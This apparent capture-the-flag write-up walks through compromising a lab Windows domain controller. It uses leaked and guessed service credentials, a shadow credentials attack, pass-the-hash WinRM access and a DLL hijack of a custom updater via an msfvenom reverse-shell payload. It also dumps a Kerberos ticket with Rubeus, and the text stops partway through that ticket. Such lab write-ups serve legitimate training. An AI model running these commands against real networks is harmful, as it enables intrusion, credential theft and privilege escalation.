1 RECON
1.1 Creds
Machine information:
As is common in real life pentests, you will start the Logging box with credentials for the following account
wallace.everette / Welcome2026@
1.2 Port Scan
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -PnResult:
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-04-19 08:40:29Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T08:42:44+00:00; +6h59m58s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after: 2106-04-17T03:20:01
| MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T08:42:43+00:00; +6h59m58s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after: 2106-04-17T03:20:01
| MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after: 2106-04-17T03:20:01
| MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after: 2106-04-17T03:20:01
| MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8530/tcp open http syn-ack Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
|_http-server-header: Microsoft-IIS/10.0
8531/tcp open ssl/unknown syn-ack
|_ssl-date: 2026-04-19T08:42:42+00:00; +6h59m57s from scanner time.
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=DC01.logging.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.logging.htb
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-16T15:12:07
| Not valid after: 2027-04-16T15:12:07
| MD5: 3158 19e2 be3b 095d 5781 5715 4aaf 73e6
| SHA-1: 9416 b3bc 64b6 7aa6 fe63 8a37 9b4e d9d4 c66b e3c5
| SHA-256: 28b7 cd3c bef5 4d45 e326 d24f f976 0088 07f6 3f90 8408 e5a3 ed59 671d 1b71 4df6
9389/tcp open mc-nmf syn-ack .NET Message Framing
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49665/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49671/tcp open msrpc syn-ack Microsoft Windows RPC
49685/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc syn-ack Microsoft Windows RPC
49690/tcp open msrpc syn-ack Microsoft Windows RPC
49691/tcp open msrpc syn-ack Microsoft Windows RPC
49713/tcp open msrpc syn-ack Microsoft Windows RPC
49719/tcp open msrpc syn-ack Microsoft Windows RPC
49745/tcp open msrpc syn-ack Microsoft Windows RPC
49776/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m57s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-04-19T08:42:26
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 37485/tcp): CLEAN (Couldn't connect)
| Check 2 (port 28521/tcp): CLEAN (Couldn't connect)
| Check 3 (port 8818/udp): CLEAN (Failed to receive data)
| Check 4 (port 17039/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blockedSummary:
logging.htbis the Active Directory domain.DC01.logging.htbappears to be the Domain Controller, based on LDAP banners and certificate names.53exposes DNS, which is typical for a DC.88exposes Kerberos, confirming domain authentication is in use.389and636expose LDAP and LDAPS for directory access.3268and3269expose the LDAP Global Catalog, another strong DC indicator.445exposes SMB, useful for share enumeration once we have credentials.5985and47001expose WinRM, which may later provide remote command execution with valid access.8530and8531expose WSUS, which stands out as a likely application-specific attack surface.80serves the default IIS page and does not yet suggest a custom web application.
WSUS is the Windows Server Update Service. It sends update query to a specific host to DOWNLOAD and EXECUTE the update — if we can hijack DNS record, we have a SYSTEM code executtion primitive.
Add hosts:
nxc smb logging.htb --generate-hosts-file /tmp/h
cat /tmp/h | sudo tee -a /etc/hosts1.3 BloodHound
Use BloodHound.py to enumerate Active Directory relationships remotely and collect domain intelligence.
bloodhound-python \
-dc 'DC01.logging.htb' -d 'logging.htb' \
-u 'wallace.everette' -p 'Welcome2026@' \
-ns $targetIp --zip -c AllThis generates a ZIP archive of the collected AD data. Import it into BloodHound locally for graph analysis.
After ingestion, we could identify privesc paths and useful object relationships there:

There's no direct privesc path from the current owned initial foothold. Detailed path analysis from BloodHound and exploitation steps are covered in the following sections.
2 USER
2.1 SMB Enumeration
2.1.1 Log Enumeration
Since the initial foothold did not seem owning DACL privesc vectors, we could use its credential to probe on SMB share first:
$ nxc smb logging.htb -u 'wallace.everette' -p 'Welcome2026@' -M spider_plus SMB 10.129.78.103 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.78.103 445 DC01 [+] logging.htb\wallace.everette:Welcome2026@ SPIDER_PLUS 10.129.78.103 445 DC01 [*] Started module spidering_plus with the following options: SPIDER_PLUS 10.129.78.103 445 DC01 [*] DOWNLOAD_FLAG: False SPIDER_PLUS 10.129.78.103 445 DC01 [*] STATS_FLAG: True SPIDER_PLUS 10.129.78.103 445 DC01 [*] EXCLUDE_FILTER: ['print$', 'ipc$'] SPIDER_PLUS 10.129.78.103 445 DC01 [*] EXCLUDE_EXTS: ['ico', 'lnk'] SPIDER_PLUS 10.129.78.103 445 DC01 [*] MAX_FILE_SIZE: 50 KB SPIDER_PLUS 10.129.78.103 445 DC01 [*] OUTPUT_FOLDER: /home/Axura/.nxc/modules/nxc_spider_plus SMB 10.129.78.103 445 DC01 [*] Enumerated shares SMB 10.129.78.103 445 DC01 Share Permissions Remark SMB 10.129.78.103 445 DC01 ----- ----------- ------ SMB 10.129.78.103 445 DC01 ADMIN$ Remote Admin SMB 10.129.78.103 445 DC01 C$ Default share SMB 10.129.78.103 445 DC01 IPC$ READ Remote IPC SMB 10.129.78.103 445 DC01 Logs READ SMB 10.129.78.103 445 DC01 NETLOGON READ Logon server share SMB 10.129.78.103 445 DC01 SYSVOL READ Logon server share SMB 10.129.78.103 445 DC01 WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance. SPIDER_PLUS 10.129.78.103 445 DC01 [+] Saved share-file metadata to "/home/Axura/.nxc/modules/nxc_spider_plus/10.129.78.103.json". SPIDER_PLUS 10.129.78.103 445 DC01 [*] SMB Shares: 7 (ADMIN$, C$, IPC$, Logs, NETLOGON, SYSVOL, WSUSTemp) SPIDER_PLUS 10.129.78.103 445 DC01 [*] SMB Readable Shares: 4 (IPC$, Logs, NETLOGON, SYSVOL) SPIDER_PLUS 10.129.78.103 445 DC01 [*] SMB Filtered Shares: 1 SPIDER_PLUS 10.129.78.103 445 DC01 [*] Total folders found: 19 SPIDER_PLUS 10.129.78.103 445 DC01 [*] Total files found: 9 SPIDER_PLUS 10.129.78.103 445 DC01 [*] File size average: 2.2 KB SPIDER_PLUS 10.129.78.103 445 DC01 [*] File size min: 22 B SPIDER_PLUS 10.129.78.103 445 DC01 [*] File size max: 8.29 KB
Inspect the crawling output:
{
"Logs": {
"Audit_Heartbeat.log": {
"atime_epoch": "2026-04-16 16:10:09",
"ctime_epoch": "2026-04-16 16:10:09",
"mtime_epoch": "2026-04-16 16:10:09",
"size": "1.26 KB"
},
"IdentitySync_Trace_20260219.log": {
"atime_epoch": "2026-04-16 16:10:09",
"ctime_epoch": "2026-04-16 16:10:09",
"mtime_epoch": "2026-04-16 16:10:09",
"size": "8.29 KB"
},
"Service_State.log": {
"atime_epoch": "2026-04-16 16:10:09",
"ctime_epoch": "2026-04-16 16:10:09",
"mtime_epoch": "2026-04-16 16:10:09",
"size": "468 B"
},
"TaskMonitor.log": {
"atime_epoch": "2026-04-16 16:10:09",
"ctime_epoch": "2026-04-16 16:10:09",
"mtime_epoch": "2026-04-16 16:10:09",
"size": "1.14 KB"
}
},
"NETLOGON": {},
"SYSVOL": {
...
}
}The interesting part is the custom Logs share:
NETLOGONandSYSVOLare expected on a Domain Controller.Logslikely belongs to an internal application or sync service.IdentitySync_Trace_20260219.logis the largest file that may contain useful data.
Next, pull the log files from Logs share:
mkdir -p Logs && cd Logs
smbclient //logging.htb/Logs \
-U 'LOGGING/wallace.everette%Welcome2026@' \
-c 'recurse ON; prompt OFF; mget *'Grep sensitive keywords:
$ grep -ir pass Logs Logs/IdentitySync_Trace_20260219.log:[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - C onnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGING\ svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }
Full log:
[2026-02-09 ...] BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025"
[2026-02-19 ...] LDAP_INVALID_CREDENTIALS
[2026-02-19 ...] Connectivity failed for logging\svc_recoverySo Em3rg3ncyPa$$2025 was valid earlier, but not anymore by the time of that later log.
2.1.2 Kerberos Authentication
Quick SMB probe to distinguish a bad password from an account policy restriction:
$ nxc smb logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2025' SMB 10.129.78.103 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.78.103 445 DC01 [-] logging.htb\svc_recovery:Em3rg3ncyPa$$202 5 STATUS_ACCOUNT_RESTRICTION
The result was not STATUS_LOGON_FAILURE, but STATUS_ACCOUNT_RESTRICTION. That means the account could not be used through this logon path, pusing the investigation back toward Kerberos.
Aditionally, using the expired creds raised KDC_ERR_PREAUTH_FAILED error — wrong creds. So we rotated the year vector and eventually found out the valid credential is:
svc_recovery / Em3rg3ncyPa$$2026Since the password was valid but the SMB logon path was restricted, we switched to Kerberos and requested a TGT directly:
# Generate Kerberos client configuration
nxc smb logging.htb --generate-krb5-file ./krb5.conf
# Use the generated realm / KDC configuration
export KRB5_CONFIG=./krb5.conf
# Request a TGT & bypass clock-skew issues
ft logging.htb \
getTGT.py 'LOGGING.HTB/svc_recovery:Em3rg3ncyPa$$2026'Error Countermeasure:
KRB_AP_ERR_SKEWKerberos doesn't tolerate time drift. If authentication fails due to skew, realign time using
faketime— as demonstrated Certified writeup — or deploy a shell wrapper (ft.sh) mentioned in the Haze writeup, tailored for Arch Linux. That's my play here.
TGT harvested:
# ft logging.htb \ getTGT.py 'LOGGING.HTB/svc_recovery:Em3rg3ncyPa$$2026' [*] Querying offset from: logging.htb [*] faketime -f format: +25198.110152 25198.110152s [*] Running: getTGT.py LOGGING.HTB/svc_recovery:Em3rg3ncyPa$$2026 Impacket v0.14.0.dev0+20251107.4500.2f1d6eb2 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in svc_recovery.ccache # klist svc_recovery.ccache Ticket cache: FILE:svc_recovery.ccache Default principal: [email protected] Valid starting Expires Service principal 04/19/2026 05:12:17 04/19/2026 09:12:17 krbtgt/[email protected] renew until 04/19/2026 09:12:17
Export the ticket to ENV for later auth:
export KRB5CCNAME=svc_recovery.ccache2.2 Shadow Credentials
2.2.1 GenericWrite
The svc_recovery account was now under control. After marking it as an owned object in BloodHound, a new privilege escalation path surfaced immediately:

The key edge here is GenericWrite over MSA_HEALTH$.
- GenericWrite means we can modify writable attributes on the target object.
- On a user or computer-style AD object, that often enables shadow credentials by writing
msDS-KeyCredentialLink. - If that works, we can authenticate as
MSA_HEALTH$without knowing its password.
So the next step is to abuse this write access against MSA_HEALTH$ and turn it into a usable authentication material.
2.2.2 Shadow Credential Attack
A Shadow Credentials attack abuses write access over the msDS-KeyCredentialLink attribute.
- We do not need the target account password.
- We only need a writable path to its AD object.
- After adding our own key credential, PKINIT can be used to request a TGT as that account.
Exploiting the
GenericWriteprivilege often diverges from techniques like the Shadow Credentials Attack we detailed in Certified or leveragingtargetedKerberoasting.pyas discussed in Administrator.
In this case, svc_recovery has GenericWrite over MSA_HEALTH$, so we can register a rogue key credential and authenticate as that machine account.
Unlike the techniques introduced before, the modern bloodyAD add shadowCredentials command wraps this flow neatly:
export KRB5CCNAME=svc_recovery.ccache
ft logging.htb \
bloodyAD -H dc01.logging.htb -d logging.htb \
-u 'svc_recovery' -k \
add shadowCredentials 'MSA_HEALTH$'PKINIT succeeded, granting us a TGT cache and the NT hash for MSA_HEALTH$:
$ ft logging.htb \ bloodyAD -H dc01.logging.htb -d logging.htb \ -u 'svc_recovery' -k \ add shadowCredentials 'MSA_HEALTH$' [*] Querying offset from: logging.htb [*] faketime -f format: +25198.160711 25198.160711s [*] Running: bloodyAD -H dc01.logging.htb -d logging.htb -u svc_recovery -k add shadowCredentials MSA_HEALTH$ [+] KeyCredential generated with following sha256 of RSA key: f0285a4648225f78b5345752049d1048008748c2999f58464c0857752bd38d64 [+] TGT stored in ccache file msa_health_tz.ccache NT: 603fc24ee01a9409f83c9d1d701485c5
2.2.3 WinRM
That opened a clean path into the next stage — MSA_HEALTH$ was a member of the REMOTE MANAGEMENT group:

So use the recovered MSA_HEALTH$ authentication material to reach the WinRM service:
evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5Logon succeeded, but the user flag was still missing:
$ evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5 Evil-WinRM shell v3.7 *Evil-WinRM* PS C:\Users\msa_health$\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\msa_health$\Documents> ls ..\desktop *Evil-WinRM* PS C:\Users\msa_health$\Documents> dir c:\users Directory: C:\users Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/16/2026 5:27 PM .NET v4.5 d----- 4/16/2026 5:27 PM .NET v4.5 Classic d----- 4/16/2026 8:30 PM Administrator d----- 4/16/2026 4:41 PM jaylee.clifton d----- 4/17/2026 8:33 AM msa_health$ d-r--- 4/10/2020 10:49 AM Public d----- 4/17/2026 1:47 PM toby.brynleigh
From BloodHound we knew Toby is the super admin, while jaylee.clifton could be the next pivot target to retrieve the user flag.
2.3 DLL Hijacking
2.3.1 Update Monitor
During the log enumeration in section 2.1.1, an update service was also identified running in the backend:

Further enumeration with WinPEAS exposed a custom scheduled application:

It was installed under the following path:
C:\Program Files\UpdateMonitor\
The next step was to verify whether this installed software could be modified:
*Evil-WinRM* PS C:\Temp> icacls "C:\Program Files\UpdateMonitor" C:\Program Files\UpdateMonitor logging\IT:(OI)(CI)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE) Successfully processed 1 files; Failed processing 0 files *Evil-WinRM* PS C:\Temp> icacls "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" C:\Program Files\UpdateMonitor\UpdateMonitor.exe logging\IT:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) Successfully processed 1 files; Failed processing 0 files
The ACL was the interesting part.
logging\IT:(OI)(CI)(F)onC:\Program Files\UpdateMonitormeans theITgroup has full control on the application directory and its children.logging\IT:(I)(F)onUpdateMonitor.execonfirms the executable is also writable through inherited permissions.
But the compromised MSA_HEALTH$ does not belong the to IT group, which has the only target member jaylee.clifton:

So we cannot simply replace the executable to achieve privesc.
2.3.2 Binary Reversing
We needed to understand what UpdateMonitor.exe actually does before deciding whether this path could be abused.
So the next step was to pull the binary and reverse it, looking for dynamic DLL loading or any update workflow that extracts attacker-controlled files into the monitored directory.
Decompile the executable via dnSpy, function call like LoadLibrary raised attention:

The decompiled entry shows the update archive is extracted into the program directory before a DLL is loaded by name:
string text = "C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip";
string text2 = "C:\\Program Files\\UpdateMonitor\\bin\\";
string text3 = "settings_update.dll";
string text4 = Path.Combine(text2, text3);
if (File.Exists(text))
{
if (File.Exists(text4))
{
File.Delete(text4);
}
ZipFile.ExtractToDirectory(text, text2);
}
IntPtr intPtr = Program.LoadLibrary(text4);
IntPtr procAddress = Program.GetProcAddress(intPtr, "PreUpdateCheck");This turns the updater into a clean hijack path: a crafted Settings_Update.zip can plant settings_update.dll, and UpdateMonitor.exe will load it and invoke PreUpdateCheck.
The remaining question was whether our current user could write to the watched update path.
*Evil-WinRM* PS C:\Temp> icacls "C:\ProgramData\UpdateMonitor" C:\ProgramData\UpdateMonitor NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) CREATOR OWNER:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(OI)(CI)(RX) BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA) Successfully processed 1 files; Failed processing 0 files *Evil-WinRM* PS C:\Temp> icacls "C:\ProgramData\UpdateMonitor\Settings_Update.zip" Successfully processed 0 files; Failed processing 1 files icacls.exe : C:\ProgramData\UpdateMonitor\Settings_Update.zip: The system cannot find the file specified. + CategoryInfo : NotSpecified: (C:\ProgramData\...file specified.:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError
BUILTIN\Users:(CI)(WD,AD,WEA,WA) on C:\ProgramData\UpdateMonitor means the current user can create the missing Settings_Update.zip in the watched path:
C:\ProgramData\UpdateMonitor\Settings_Update.zipBesides, the hardcoded log path:
C:\ProgramData\UpdateMonitor\Logs\monitor.logis useful operationally because it gives us direct success or failure feedback after the updater runs.
*Evil-WinRM* PS C:\Temp> Get-Content "C:\ProgramData\UpdateMonitor\Logs\monitor.log" -Tail 20 [2026-04-19 06:50:15] Failed to load settings_update.dll. Error code: 126 [2026-04-19 06:50:15] Update check completed. [2026-04-19 06:53:15] Starting Sentinel Update Check... [2026-04-19 06:53:15] Checking for update on core server... [2026-04-19 06:53:15] Info: Core did not find file Settings_Update.zip [2026-04-19 06:53:15] Last status: File not found on core [2026-04-19 06:53:15] Checking for update on local server... [2026-04-19 06:53:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip. [2026-04-19 06:53:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll [2026-04-19 06:53:15] Failed to load settings_update.dll. Error code: 126 [2026-04-19 06:53:15] Update check completed. [2026-04-19 06:56:15] Starting Sentinel Update Check... [2026-04-19 06:56:15] Checking for update on core server... [2026-04-19 06:56:15] Info: Core did not find file Settings_Update.zip [2026-04-19 06:56:15] Last status: File not found on core [2026-04-19 06:56:15] Checking for update on local server... [2026-04-19 06:56:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip. [2026-04-19 06:56:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll [2026-04-19 06:56:15] Failed to load settings_update.dll. Error code: 126 [2026-04-19 06:56:15] Update check completed.
2.3.3 Exploit
We can use Metasploit to finish the attack:
# Generate maliciou DLL, target is 32-bit process
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST="$attackerIp" LPORT=443 \
-f dll -o settings_update.dll
# Compress zip archive
zip Settings_Update.zip settings_update.dllThen upload the archive to C:\ProgramData\UpdateMonitor:
*Evil-WinRM* PS C:\Temp> cd "C:\ProgramData\UpdateMonitor" *Evil-WinRM* PS C:\ProgramData\UpdateMonitor> ls Directory: C:\ProgramData\UpdateMonitor Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/16/2026 4:43 PM Logs *Evil-WinRM* PS C:\ProgramData\UpdateMonitor> upload Settings_Update.zip Info: Uploading /home/Axura/ctf/HTB/logging/Settings_Update.zip to C:\ProgramData\UpdateMonitor\Settings_Update.zip Data: 2724 bytes of 2724 bytes copied Info: Upload successful!
Check
C:\ProgramData\UpdateMonitor\Logs\monitor.logto for debugging. Success message:Plaintext[2026-04-19 10:05:15] Checking for update on local server... [2026-04-19 10:05:16] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\ [2026-04-19 10:05:16] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
Start msf listener:
sudo msfconsole -q \
-x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 443; run"Meterpreter called back after DLL loading:
$ sudo msfconsole -q \ -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 443; run" [*] Using configured payload generic/shell_reverse_tcp payload => windows/meterpreter/reverse_tcp LHOST => tun0 LPORT => 443 [*] Started reverse TCP handler on 10.10.13.68:443 [*] Sending stage (199238 bytes) to 10.129.78.103 [*] Meterpreter session 1 opened (10.10.13.68:443 -> 10.129.78.103:57622) at 2026-04-19 00:24:09 -0700 meterpreter > getuid Server username: logging\jaylee.clifton meterpreter > sysinfo Computer : DC01 OS : Windows Server 2019 (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : logging Logged On Users : 11 Meterpreter : x86/windows meterpreter > cat c:\\users\\jaylee.clifton\\desktop\\user.txt 1*******************************9 meterpreter >
User flag harvested.
3 ROOT
3.1 Enumeration
3.1.1 Dump TGT
To establish a solid foothold as jaylee.clifton, the first step was to harvest his TGT.
Under a C2 framework such as Cobalt Strike, a ticket could be dumped directly. Since Metasploit Framework was used here, Rubeus first had to be uploaded to the target, then executed:
.\Rubeus.exe triage
.\Rubeus.exe tgtdeleg /nowrapResult:
c:\temp>.\Rubeus.exe tgtdeleg /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.3.3 Action: Dump Kerberos Ticket Data (Current User) [*] Current LUID : 0x8c565e UserName : jaylee.clifton Domain : logging LogonId : 0x8c565e UserSID : S-1-5-21-4020823815-2796529489-1682170552-2105 AuthenticationPackage : Kerberos LogonType : Batch LogonTime : 4/19/2026 7:23:15 AM LogonServer : DC01 LogonServerDNSDomain : LOGGING.HTB UserPrincipalName : [email protected] ServiceName : krbtgt/LOGGING.HTB ServiceRealm : LOGGING.HTB UserName : jaylee.clifton (NT_PRINCIPAL) UserRealm : LOGGING.HTB StartTime : 4/19/2026 7:23:15 AM EndTime : 4/19/2026 5:23:15 PM RenewTill : 4/26/2026 7:23:15 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= Base64EncodedTicket : doIFyDCCBcSgAwIBBaEDAgEWooIEyjCCBMZhggTCMIIEvqADAgEFoQ0bC0xPR0dJTkcuSFRCoiAwHqADAgECoRcwFRsGa3JidGd0GwtMT0dHSU5HLkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRuWH7X+AQ8EaQkeyDcGML9hWYvW7lQZquRoGoH0lHpMU0x4Zkf7Z5uVhs66rEaXo11NMZ27rwB7FcneOI5XjJ4IpJKzOWjCmFyyAU/zgD1RlYofZicHsImL2YZw FAqBoi3ugmW0apIiL32H7q1R9REVi0vkeNZvAndUvQq+vFNf6Fk3LE3MC7nBetRdIeznqpvA8ZN/0SBfz0cOZ3xa84kyhvuS4UkFEEOYTZnw9heavUeF/044slqgnEkYgcK753ijE3Zl/ydvbzZqIshmPxto2fSjOZHmvAIhWo15e/bKRAzli+uEC+Z8Sy6Voqr237OJAAb4zDc2jElEK1n5COF3EsmFKUB1dzqNcAywrVoFO2rFAh7Js7c5742fOrJwEK8TTtHZ4ZexlHlJw0z RFc7B0IoDmFQTxoNcGNca/hUk7NLxUuToEEb/+c0UI7lKaduse20/uvUTouPRY+au1MkYf9WPtsUXN3K7uYICwyHAy0Zkn+Y56n9dAow5ACcsc8C91jwGoegGeYU3RqRnpJt20wjva4aYFQGgu4DLa7IsBv0BHCbKvVGOXITUsknKPKjkuvjmqCozzm2ZIAQZ7geaDAfVz+JEZ0klo/zf8CZfyWkTTwji2kzZqWzchm7h/HrKouXv5UWsdt8GYJJRV69d/LJk2MRJHuHEiWqg9E yCDOIJ3rGBVLKYK1QkJ5joQbINPE0mu1hR832nfY3fvWQIWqTMJklBAj9uWjow62FJ7zTfWkzRv3puFpapur1tmwOfYUbxYl1czJglL6pQDdgs2DwU6qQWuHyqUHeyBJnI/mL2jXqeDkfld20tyrJ8gijXDJu24bVadogaQG/YpfNmJvZacZJ5+dBj0sI4kN07ATBGpRJkpAN4yiuu54yXwvyFDPX1nTYzVjhIL+0FKY/gQdRLSoznC7BZqYccl1NMVY2djMzIG6DrC4NcvDs43 